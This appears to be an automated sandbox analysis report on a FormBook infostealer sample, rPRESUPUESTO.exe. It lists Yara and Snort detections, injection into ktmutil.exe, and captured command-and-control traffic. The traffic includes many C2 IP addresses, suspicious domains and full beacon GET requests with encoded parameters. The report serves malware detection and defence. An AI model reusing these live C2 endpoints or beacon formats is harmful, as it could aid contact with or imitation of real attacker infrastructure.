Windows Analysis Report
rPRESUPUESTO.exe

AI detected suspicious sample

Source: Yara match	File source: 5.2.rPRESUPUESTO.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rPRESUPUESTO.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2328576677.0000000001600000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4590404042.0000000005560000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4586829537.0000000000180000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4588343221.0000000000720000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4588414444.0000000000760000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2328137343.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: rPRESUPUESTO.exe

Joe Sandbox ML: detected

Source: rPRESUPUESTO.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: rPRESUPUESTO.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: MqDMLUHvZmSMqiwTfIsHo.exe, 00000008.00000000.2251157795.000000000098E000.00000002.00000001.01000000.0000000D.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000000.2398762392.000000000098E000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: gESw.pdb source: rPRESUPUESTO.exe
Source:	Binary string: wntdll.pdbUGP source: rPRESUPUESTO.exe, 00000005.00000002.2328716564.00000000017A0000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, 00000009.00000003.2330777913.0000000002976000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4588745880.0000000002CBE000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4588745880.0000000002B20000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, 00000009.00000003.2328626906.00000000027CA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: gESw.pdbSHA256 source: rPRESUPUESTO.exe
Source:	Binary string: wntdll.pdb source: rPRESUPUESTO.exe, rPRESUPUESTO.exe, 00000005.00000002.2328716564.00000000017A0000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, ktmutil.exe, 00000009.00000003.2330777913.0000000002976000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4588745880.0000000002CBE000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4588745880.0000000002B20000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, 00000009.00000003.2328626906.00000000027CA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ktmutil.pdbGCTL source: rPRESUPUESTO.exe, 00000005.00000002.2328360185.0000000001347000.00000004.00000020.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 00000008.00000002.4587226649.0000000001028000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ktmutil.pdb source: rPRESUPUESTO.exe, 00000005.00000002.2328360185.0000000001347000.00000004.00000020.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 00000008.00000002.4587226649.0000000001028000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\ktmutil.exe

Code function: 9_2_0019C0E0 FindFirstFileW,FindNextFileW,FindClose,

9_2_0019C0E0

Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 4x nop then xor eax, eax		9_2_00189780
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 4x nop then mov ebx, 00000004h		9_2_02A10548

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.5:49722 -> 122.10.13.122:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.5:49727 -> 109.123.121.243:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.5:49728 -> 109.123.121.243:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.5:49731 -> 109.123.121.243:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.5:49733 -> 47.242.109.15:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.5:49734 -> 47.242.109.15:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.5:49737 -> 47.242.109.15:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.5:49739 -> 121.254.178.238:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.5:49740 -> 121.254.178.238:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.5:49742 -> 121.254.178.238:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.5:49743 -> 203.161.62.199:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.5:49744 -> 203.161.62.199:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.5:49746 -> 203.161.62.199:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.5:49747 -> 74.208.236.72:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.5:49748 -> 74.208.236.72:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.5:49750 -> 74.208.236.72:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.5:49751 -> 192.207.62.21:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.5:49752 -> 192.207.62.21:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.5:49754 -> 192.207.62.21:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.5:49755 -> 199.59.243.226:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.5:49756 -> 199.59.243.226:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.5:49758 -> 199.59.243.226:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.5:49759 -> 45.207.12.95:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.5:49760 -> 45.207.12.95:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.5:49762 -> 45.207.12.95:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.5:49763 -> 81.95.96.29:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.5:49764 -> 81.95.96.29:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.5:49766 -> 81.95.96.29:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.5:49767 -> 103.224.182.246:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.5:49768 -> 103.224.182.246:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.5:49770 -> 103.224.182.246:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.5:49771 -> 72.52.179.174:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.5:49772 -> 72.52.179.174:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.5:49774 -> 72.52.179.174:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.5:49775 -> 192.227.175.142:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.5:49776 -> 192.227.175.142:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.5:49778 -> 192.227.175.142:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.5:49779 -> 31.186.11.254:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.5:49780 -> 31.186.11.254:80

Performs DNS queries to domains with low reputation

Source:

DNS query: www.quantumvoil.xyz

Source: Joe Sandbox View	IP Address: 192.207.62.21 192.207.62.21
Source: Joe Sandbox View	IP Address: 72.52.179.174 72.52.179.174
Source: Joe Sandbox View	IP Address: 72.52.179.174 72.52.179.174

Source: Joe Sandbox View	ASN Name: DXTL-HKDXTLTseungKwanOServiceHK DXTL-HKDXTLTseungKwanOServiceHK
Source: Joe Sandbox View	ASN Name: ONEANDONE-ASBrauerstrasse48DE ONEANDONE-ASBrauerstrasse48DE
Source: Joe Sandbox View	ASN Name: LGDACOMLGDACOMCorporationKR LGDACOMLGDACOMCorporationKR
Source: Joe Sandbox View	ASN Name: HOSTBREWUS HOSTBREWUS
Source: Joe Sandbox View	ASN Name: LIQUIDWEBUS LIQUIDWEBUS

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 01 Jul 2024 14:18:21 GMTServer: ApacheVary: Accept-EncodingContent-Encoding: gzipContent-Length: 4981Connection: closeContent-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 5c cd 73 1b b7 92 3f 2b 55 f9 1f 10 ba 1c 59 b5 02 bf f4 2d 4b ca 73 6c e5 3d af e3 8f 8d bc 49 6d 2e 2e cc 0c 48 42 9c 01 e6 01 33 14 c9 3c df 77 ab d6 f7 cd fa b2 3a fa a0 ca 61 6f af ea e5 42 e9 ff da 06 30 43 ce 0c 87 12 a9 8f ac f3 e1 84 d4 0c 06 e8 6e 00 dd bf ee 06 c0 d9 eb 44 81 7f f0 e9 27 9f 7e b2 d7 a1 c4 83 ab a5 3d 87 28 8a 3a 92 b6 f6 2b b5 8a 29 09 68 44 90 db 21 52 d1 68 bf 12 47 2d bc 5d 31 8d 96 f6 22 16 f9 f4 e0 d1 e3 d7 4f bf 3d 44 cd f5 55 a4 aa b2 2a aa 7b 35 fb c0 56 32 ed 39 09 e8 7e a5 c7 e8 49 28 64 54 41 ae e0 11 e5 40 ef 84 79 51 67 df a3 3d e6 52 6c 6e 56 11 e3 2c 62 c4 c7 ca 25 3e dd 6f 64 c4 b0 64 9e d1 c1 89 90 9e ca 90 99 aa f3 84 2a 57 b2 30 62 82 67 aa 4d 89 3a d5 ee 51 1c 75 84 5c a8 c9 cb 13 4e 2f 6d 81 d2 f1 fa 0c 63 d4 22 d0 55 c1 91 8a 88 8c 10 c6 86 9a cf 78 17 49 ea ef 57 48 18 fa 14 47 22 76 3b 58 d7 ab 20 c5 86 54 ed 57 36 b6 fa 1b 5b 95 64 6a 3a 51 14 aa dd 5a ad 1d b3 2a 71 23 d6 a3 cd f5 aa 3b ac b1 a0 5d d3 ad 6a a4 b9 8e 2d a9 84 1f 36 ed ab 21 6f 57 e6 e5 b8 59 ef 6f d6 6f c0 d1 b4 5f 88 e3 56 b3 bf d5 bc 01 47 d3 7e 31 8e 9b fd ad cd 9b 70 d4 ed 17 e2 d8 68 ac f7 e1 73 03 9e 09 85 c5 b8 36 eb 7d f8 dc 84 ab a5 b0 18 d7 75 90 74 fd 46 7d b5 14 16 e3 ba d1 ec c3 e7 26 5c 2d 85 c5 b8 6e c3 f8 6c df 68 84 2d 85 32 ae 96 53 34 08 01 6e 58 40 da b4 a6 2b 8d 59 ef 80 b8 3b 8b 75 78 cc d4 b6 5d 9c e9 5a b3 bf 76 3d 96 a6 e5 e2 0c 77 36 fb 3b 8b 99 6a ca d0 b4 bc c6 b0 6e f6 1b d7 63 68 5a 4e 18 66 7c 45 a0 f4 9c 33 97 68 c7 84 5f 33 9f 3e 16 7e ce df dc 6b 99 7f 73 b4 7c aa 25 ce b4 9c 4b c4 40 e1 72 c3 ca b0 8a 3a 34 a0 d8 bd 4c b0 c9 18 aa 68 e0 53 d5 a1 34 ba 6a a8 7c e6 48 22 07 35 43 be d6 09 1b 9b 35 d3 b8 ea 2a 35 3f d5 09 45 11 d4 a0 a5 0b dd 6a d4 02 c2 78 15 5a a8 2f 7a fb 5b de 36 5d 6b d6 b7 d6 b7 5a 9b 5b f5 8d 0d b7 41 1a f5 fa 76 cb 71 d7 eb 5e dd 6d 5c c6 cb ea 42 44 fb 91 a6 9d f2 ae 01 fd be eb f1 aa 23 44 a4 22 49 42 7d a3 05 68 c1 e8 60 72 42 95 80 2e ad 57 d7 aa 75 dd 2e 57 5c 0d 40 34 4d 0c b8 2e 05 d4 63 04 50 c4 f7 8d 14 08 2d 24 c7 ac 91 d5 2c 7d c2 3d c6 db e9 60 ea 2e 1a 82 9a cd d2 9f 58 a0 e3 2e 14 4b ff 41 4a 44 cb a8 aa 6d 21 da 3e 25 21 53 e9 80 7e d1 22 01 f3 07 fb af 21 08 f3 7d 16 07 ff f4 1d 75 76 d7 eb f5 d5 2d f8 ec c0 67 13 3e 6b f5 fa e7 2a 76 74 4c e8 83 4a f2 55 f3 8d 41 e0 95 87 86 fb d2 9f cc 20 b4 88 4b d1 0f fa 7e 29 b9 d7 c4 77 d1 72 2a bf 51 47 b5 fc d0 54 51 d2 dd 35 42 2e cf ea aa 26 52 cb b7 ad 52 11 2d af a0 96 90 01 89 1e 2c d3 c0 a1 9e 47 3d 2c 42 d0 5b 18 c7 e5 95 55 43 7c 69 61 c2 51 d4 ca 10 8e 64 4c 6f 46 ef 44 b4 b2 04 ed ed 75 89 a9 5e 3b 43 cb dc 3d 9c 8c f3 09 65 ed 4e b4 8b b8 7e ee 67 1e 18 a5 c8 95 bf b5 f3 a5 93 01 23 8b 23 bc 41 d9 94 55 c6 1a 81 40 23 2a 96 a6 e8 51 d9 f2 c5 09 ee ef a2 0e 83 71 e7 59
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 01 Jul 2024 14:18:24 GMTServer: ApacheVary: Accept-EncodingContent-Encoding: gzipContent-Length: 4981Connection: closeContent-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 5c cd 73 1b b7 92 3f 2b 55 f9 1f 10 ba 1c 59 b5 02 bf f4 2d 4b ca 73 6c e5 3d af e3 8f 8d bc 49 6d 2e 2e cc 0c 48 42 9c 01 e6 01 33 14 c9 3c df 77 ab d6 f7 cd fa b2 3a fa a0 ca 61 6f af ea e5 42 e9 ff da 06 30 43 ce 0c 87 12 a9 8f ac f3 e1 84 d4 0c 06 e8 6e 00 dd bf ee 06 c0 d9 eb 44 81 7f f0 e9 27 9f 7e b2 d7 a1 c4 83 ab a5 3d 87 28 8a 3a 92 b6 f6 2b b5 8a 29 09 68 44 90 db 21 52 d1 68 bf 12 47 2d bc 5d 31 8d 96 f6 22 16 f9 f4 e0 d1 e3 d7 4f bf 3d 44 cd f5 55 a4 aa b2 2a aa 7b 35 fb c0 56 32 ed 39 09 e8 7e a5 c7 e8 49 28 64 54 41 ae e0 11 e5 40 ef 84 79 51 67 df a3 3d e6 52 6c 6e 56 11 e3 2c 62 c4 c7 ca 25 3e dd 6f 64 c4 b0 64 9e d1 c1 89 90 9e ca 90 99 aa f3 84 2a 57 b2 30 62 82 67 aa 4d 89 3a d5 ee 51 1c 75 84 5c a8 c9 cb 13 4e 2f 6d 81 d2 f1 fa 0c 63 d4 22 d0 55 c1 91 8a 88 8c 10 c6 86 9a cf 78 17 49 ea ef 57 48 18 fa 14 47 22 76 3b 58 d7 ab 20 c5 86 54 ed 57 36 b6 fa 1b 5b 95 64 6a 3a 51 14 aa dd 5a ad 1d b3 2a 71 23 d6 a3 cd f5 aa 3b ac b1 a0 5d d3 ad 6a a4 b9 8e 2d a9 84 1f 36 ed ab 21 6f 57 e6 e5 b8 59 ef 6f d6 6f c0 d1 b4 5f 88 e3 56 b3 bf d5 bc 01 47 d3 7e 31 8e 9b fd ad cd 9b 70 d4 ed 17 e2 d8 68 ac f7 e1 73 03 9e 09 85 c5 b8 36 eb 7d f8 dc 84 ab a5 b0 18 d7 75 90 74 fd 46 7d b5 14 16 e3 ba d1 ec c3 e7 26 5c 2d 85 c5 b8 6e c3 f8 6c df 68 84 2d 85 32 ae 96 53 34 08 01 6e 58 40 da b4 a6 2b 8d 59 ef 80 b8 3b 8b 75 78 cc d4 b6 5d 9c e9 5a b3 bf 76 3d 96 a6 e5 e2 0c 77 36 fb 3b 8b 99 6a ca d0 b4 bc c6 b0 6e f6 1b d7 63 68 5a 4e 18 66 7c 45 a0 f4 9c 33 97 68 c7 84 5f 33 9f 3e 16 7e ce df dc 6b 99 7f 73 b4 7c aa 25 ce b4 9c 4b c4 40 e1 72 c3 ca b0 8a 3a 34 a0 d8 bd 4c b0 c9 18 aa 68 e0 53 d5 a1 34 ba 6a a8 7c e6 48 22 07 35 43 be d6 09 1b 9b 35 d3 b8 ea 2a 35 3f d5 09 45 11 d4 a0 a5 0b dd 6a d4 02 c2 78 15 5a a8 2f 7a fb 5b de 36 5d 6b d6 b7 d6 b7 5a 9b 5b f5 8d 0d b7 41 1a f5 fa 76 cb 71 d7 eb 5e dd 6d 5c c6 cb ea 42 44 fb 91 a6 9d f2 ae 01 fd be eb f1 aa 23 44 a4 22 49 42 7d a3 05 68 c1 e8 60 72 42 95 80 2e ad 57 d7 aa 75 dd 2e 57 5c 0d 40 34 4d 0c b8 2e 05 d4 63 04 50 c4 f7 8d 14 08 2d 24 c7 ac 91 d5 2c 7d c2 3d c6 db e9 60 ea 2e 1a 82 9a cd d2 9f 58 a0 e3 2e 14 4b ff 41 4a 44 cb a8 aa 6d 21 da 3e 25 21 53 e9 80 7e d1 22 01 f3 07 fb af 21 08 f3 7d 16 07 ff f4 1d 75 76 d7 eb f5 d5 2d f8 ec c0 67 13 3e 6b f5 fa e7 2a 76 74 4c e8 83 4a f2 55 f3 8d 41 e0 95 87 86 fb d2 9f cc 20 b4 88 4b d1 0f fa 7e 29 b9 d7 c4 77 d1 72 2a bf 51 47 b5 fc d0 54 51 d2 dd 35 42 2e cf ea aa 26 52 cb b7 ad 52 11 2d af a0 96 90 01 89 1e 2c d3 c0 a1 9e 47 3d 2c 42 d0 5b 18 c7 e5 95 55 43 7c 69 61 c2 51 d4 ca 10 8e 64 4c 6f 46 ef 44 b4 b2 04 ed ed 75 89 a9 5e 3b 43 cb dc 3d 9c 8c f3 09 65 ed 4e b4 8b b8 7e ee 67 1e 18 a5 c8 95 bf b5 f3 a5 93 01 23 8b 23 bc 41 d9 94 55 c6 1a 81 40 23 2a 96 a6 e8 51 d9 f2 c5 09 ee ef a2 0e 83 71 e7 59
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 01 Jul 2024 14:18:26 GMTServer: ApacheVary: Accept-EncodingContent-Encoding: gzipContent-Length: 4981Connection: closeContent-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 5c cd 73 1b b7 92 3f 2b 55 f9 1f 10 ba 1c 59 b5 02 bf f4 2d 4b ca 73 6c e5 3d af e3 8f 8d bc 49 6d 2e 2e cc 0c 48 42 9c 01 e6 01 33 14 c9 3c df 77 ab d6 f7 cd fa b2 3a fa a0 ca 61 6f af ea e5 42 e9 ff da 06 30 43 ce 0c 87 12 a9 8f ac f3 e1 84 d4 0c 06 e8 6e 00 dd bf ee 06 c0 d9 eb 44 81 7f f0 e9 27 9f 7e b2 d7 a1 c4 83 ab a5 3d 87 28 8a 3a 92 b6 f6 2b b5 8a 29 09 68 44 90 db 21 52 d1 68 bf 12 47 2d bc 5d 31 8d 96 f6 22 16 f9 f4 e0 d1 e3 d7 4f bf 3d 44 cd f5 55 a4 aa b2 2a aa 7b 35 fb c0 56 32 ed 39 09 e8 7e a5 c7 e8 49 28 64 54 41 ae e0 11 e5 40 ef 84 79 51 67 df a3 3d e6 52 6c 6e 56 11 e3 2c 62 c4 c7 ca 25 3e dd 6f 64 c4 b0 64 9e d1 c1 89 90 9e ca 90 99 aa f3 84 2a 57 b2 30 62 82 67 aa 4d 89 3a d5 ee 51 1c 75 84 5c a8 c9 cb 13 4e 2f 6d 81 d2 f1 fa 0c 63 d4 22 d0 55 c1 91 8a 88 8c 10 c6 86 9a cf 78 17 49 ea ef 57 48 18 fa 14 47 22 76 3b 58 d7 ab 20 c5 86 54 ed 57 36 b6 fa 1b 5b 95 64 6a 3a 51 14 aa dd 5a ad 1d b3 2a 71 23 d6 a3 cd f5 aa 3b ac b1 a0 5d d3 ad 6a a4 b9 8e 2d a9 84 1f 36 ed ab 21 6f 57 e6 e5 b8 59 ef 6f d6 6f c0 d1 b4 5f 88 e3 56 b3 bf d5 bc 01 47 d3 7e 31 8e 9b fd ad cd 9b 70 d4 ed 17 e2 d8 68 ac f7 e1 73 03 9e 09 85 c5 b8 36 eb 7d f8 dc 84 ab a5 b0 18 d7 75 90 74 fd 46 7d b5 14 16 e3 ba d1 ec c3 e7 26 5c 2d 85 c5 b8 6e c3 f8 6c df 68 84 2d 85 32 ae 96 53 34 08 01 6e 58 40 da b4 a6 2b 8d 59 ef 80 b8 3b 8b 75 78 cc d4 b6 5d 9c e9 5a b3 bf 76 3d 96 a6 e5 e2 0c 77 36 fb 3b 8b 99 6a ca d0 b4 bc c6 b0 6e f6 1b d7 63 68 5a 4e 18 66 7c 45 a0 f4 9c 33 97 68 c7 84 5f 33 9f 3e 16 7e ce df dc 6b 99 7f 73 b4 7c aa 25 ce b4 9c 4b c4 40 e1 72 c3 ca b0 8a 3a 34 a0 d8 bd 4c b0 c9 18 aa 68 e0 53 d5 a1 34 ba 6a a8 7c e6 48 22 07 35 43 be d6 09 1b 9b 35 d3 b8 ea 2a 35 3f d5 09 45 11 d4 a0 a5 0b dd 6a d4 02 c2 78 15 5a a8 2f 7a fb 5b de 36 5d 6b d6 b7 d6 b7 5a 9b 5b f5 8d 0d b7 41 1a f5 fa 76 cb 71 d7 eb 5e dd 6d 5c c6 cb ea 42 44 fb 91 a6 9d f2 ae 01 fd be eb f1 aa 23 44 a4 22 49 42 7d a3 05 68 c1 e8 60 72 42 95 80 2e ad 57 d7 aa 75 dd 2e 57 5c 0d 40 34 4d 0c b8 2e 05 d4 63 04 50 c4 f7 8d 14 08 2d 24 c7 ac 91 d5 2c 7d c2 3d c6 db e9 60 ea 2e 1a 82 9a cd d2 9f 58 a0 e3 2e 14 4b ff 41 4a 44 cb a8 aa 6d 21 da 3e 25 21 53 e9 80 7e d1 22 01 f3 07 fb af 21 08 f3 7d 16 07 ff f4 1d 75 76 d7 eb f5 d5 2d f8 ec c0 67 13 3e 6b f5 fa e7 2a 76 74 4c e8 83 4a f2 55 f3 8d 41 e0 95 87 86 fb d2 9f cc 20 b4 88 4b d1 0f fa 7e 29 b9 d7 c4 77 d1 72 2a bf 51 47 b5 fc d0 54 51 d2 dd 35 42 2e cf ea aa 26 52 cb b7 ad 52 11 2d af a0 96 90 01 89 1e 2c d3 c0 a1 9e 47 3d 2c 42 d0 5b 18 c7 e5 95 55 43 7c 69 61 c2 51 d4 ca 10 8e 64 4c 6f 46 ef 44 b4 b2 04 ed ed 75 89 a9 5e 3b 43 cb dc 3d 9c 8c f3 09 65 ed 4e b4 8b b8 7e ee 67 1e 18 a5 c8 95 bf b5 f3 a5 93 01 23 8b 23 bc 41 d9 94 55 c6 1a 81 40 23 2a 96 a6 e8 51 d9 f2 c5 09 ee ef a2 0e 83 71 e7 59

Source: global traffic	HTTP traffic detected: GET /ndq7/?3hkl=slNhbLXpBjO8vl&4dV43tA=OxZKnWuwsJOrHHhSr0WAKMos2ZEDKwJVMtvq3iaqcpp4OrE8YxBQJzvCfYPSu8gmodsQI/gccX7lRSYJm35OlpLbr+Emqb863it5vTM6q/0fJzxBvxXG8nRUn7++wRvQdA== HTTP/1.1Host: www.tcqlk.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /hpa2/?4dV43tA=9ukV0lom1Pkt5UJj/K4lBand6ck4dRKkyq6RFoVD1IbXcSjkOX57QIVSlkgD3OdjwHZgiaAyrGOMfaVTdV8W+y7+gTzt+hDR2BCzfmmCLLxuXIcFaZwChPWJYJEFenE0lA==&3hkl=slNhbLXpBjO8vl HTTP/1.1Host: www.rlplatro.sbsAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /pyns/?3hkl=slNhbLXpBjO8vl&4dV43tA=K1EGEj+kimjFg9LR9EnSE5iA5qZu36FTtfUVuSlzoP8oPxhtdzERerS5Mp6fVz5Cq8+DdWETSgOpnIOU0gSGOk+1pkQ/H5TXrv7e3gEZftLrUi5jR50/YQGYV+ODUfVL1g== HTTP/1.1Host: www.xsemckm.sbsAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /vjxp/?4dV43tA=XkwDhAosLmY8qOGkJKM7nBqGXPMJWqSVPKG+tEu7tnkRRA5qaKsxdm3QH0407PDb0a9c/bEAso+GP5FSns/F0pcfHDqX+WZ2QlqXVXtujZTwrVOl6ODb0zZvjrqBrFnJXw==&3hkl=slNhbLXpBjO8vl HTTP/1.1Host: www.b6fbly7u.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /gb2c/?3hkl=slNhbLXpBjO8vl&4dV43tA=89eEKNhTAfJ0K+ZNbo8QYk1fUSoEpApn1wnFOcVuW0oI5H3wAhPaJlWMgeBIfmA5pU1pUK0VAPZu7D3VTgjehpZPLbfme/O2eAoCBbtXgeZInoaphOuGkqvoaLKQybRjQA== HTTP/1.1Host: www.quantumvoil.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
